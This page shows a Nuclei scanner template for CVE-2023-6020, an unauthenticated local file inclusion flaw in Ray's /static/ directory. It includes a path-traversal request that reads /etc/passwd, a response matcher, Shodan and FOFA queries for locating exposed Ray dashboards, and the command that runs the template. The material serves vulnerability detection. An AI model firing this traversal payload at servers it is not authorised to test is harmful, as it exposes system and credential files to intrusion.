Skip to content

Ray Static File - Local File Inclusion

ID: CVE-2023-6020

Severity: high

Author: byt3bl33d3r

Tags: cve2023,cve,lfi,ray,oos,ray_project

LFI in Ray’s /static/ directory allows attackers to read any file on the server without authentication.

id: CVE-2023-6020
info:
name: Ray Static File - Local File Inclusion
author: byt3bl33d3r
severity: high
description: |
LFI in Ray's /static/ directory allows attackers to read any file on the server without authentication.
reference:
- https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/
- https://nvd.nist.gov/vuln/detail/CVE-2023-6020
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-6020
cwe-id: CWE-862
epss-score: 0.06351
epss-percentile: 0.93636
cpe: cpe:2.3:a:ray_project:ray:-:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: ray_project
product: ray
shodan-query:
- http.favicon.hash:463802404
- http.html:"ray dashboard"
fofa-query:
- body="ray dashboard"
- icon_hash=463802404
tags: cve2023,cve,lfi,ray,oos,ray_project
http:
- method: GET
path:
- "{{BaseURL}}/static/js/../../../../../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- "application/octet-stream"
- "aiohttp"
condition: and
- type: status
status:
- 200
# digest: 490a0046304402207ccbe0dc830118eb30a312192a9df5cd8342738ab5faca2947da5c9ea58079920220657d154f1b5ea944ecacb57a6cda16b0fd8e02017ba77ef937e0c1a8883a3dff:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-6020.yaml"

View on Github